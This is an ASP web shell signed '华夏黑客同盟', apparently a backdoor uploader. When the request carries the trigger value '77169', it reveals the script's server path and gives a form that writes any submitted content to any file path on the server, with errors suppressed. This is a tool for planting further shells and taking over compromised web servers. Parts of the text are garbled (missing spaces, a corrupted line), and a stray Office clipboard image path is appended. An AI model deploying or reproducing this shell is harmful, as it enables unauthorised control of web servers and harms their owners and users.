<% ifrequest("77169")="77169" then %>
<title>77169</title>
<%="<br>"%>
<%="Thefile location：" server.mappath(request.servervariables("script_name"))%>
<%DimobjFSO%>
<%Dim fdata%>
<%DimobjCountFile%>
<%on errorresume next%>
<%Set objFSO= Server.CreateObject("Scripting.FileSystemObject")%>
<%ifTrim(request("syfdpath"))<>"" then%>
<�ata =request("cyfddata")%>
<%SetobjCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>
<%objCountFile.Writefdata%>
<%if err =0then%>
<fontcolor=red>save!</font>
<%end if%>
<%end if%>
<%objCountFile.Close%>
<%SetobjCountFile=Nothing%>
<%Set objFSO= Nothing%>
<formaction='' method=post>
<p>
    <input type=text name=syfdpath width=32value="<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>"style="border:solid 1px" size=80>
</p>
<p>
      <textarea name=cyfddata cols=80rows=10 width=32 style="border:solid 1px"></textarea>
</p>
    <input type=submit value=savestyle="border:solid 1px">
    <fontcolor="#FF0000"><strong>                                    华夏黑客同盟</strong></font> </p>
</form><formaction="" method="post">
<% end if%>

file:///C:/Users/ADMINI~1/AppData/Local/Temp/msohtmlclip1/01/clip_image004.jpg